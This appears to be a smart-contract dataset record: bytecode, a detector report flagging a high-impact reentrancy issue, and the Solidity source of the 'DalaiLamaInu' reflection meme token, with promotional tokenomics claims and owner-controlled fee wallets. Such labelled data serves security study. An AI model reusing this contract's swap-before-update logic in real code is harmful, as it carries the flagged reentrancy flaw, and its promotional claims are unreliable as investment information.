fffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f1ef11cbdbbd86820757e5074f452c56510e9d146394220733e922e25b3f7e064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,111 |
0xf3f8f10fd510697d532d9561aa633fcbb5808aee
|
/**
*
* ██████╗░░█████╗░██╗░░░░░░█████╗░██╗██╗░░░░░░█████╗░███╗░░░███╗░█████╗░██╗███╗░░██╗██╗░░░██╗
* ██╔══██╗██╔══██╗██║░░░░░██╔══██╗██║██║░░░░░██╔══██╗████╗░████║██╔══██╗██║████╗░██║██║░░░██║
* ██║░░██║███████║██║░░░░░███████║██║██║░░░░░███████║██╔████╔██║███████║██║██╔██╗██║██║░░░██║
* ██║░░██║██╔══██║██║░░░░░██╔══██║██║██║░░░░░██╔══██║██║╚██╔╝██║██╔══██║██║██║╚████║██║░░░██║
* ██████╔╝██║░░██║███████╗██║░░██║██║███████╗██║░░██║██║░╚═╝░██║██║░░██║██║██║░╚███║╚██████╔╝
* ╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░╚═════╝░
* DALI
* https://t.me/DalaiLamaInu
* https://dalailamainu.com/
* https://twitter.com/DalaiLamaInu
*
* DALI is a meme token with a twist!
* DALI has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*
*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Dinu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"DalaiLamaInu | t.me/DalaiLamaInu";
string private constant _symbol = unicode"Dinu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280602081526020017f44616c61694c616d61496e75207c20742e6d652f44616c61694c616d61496e75815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e261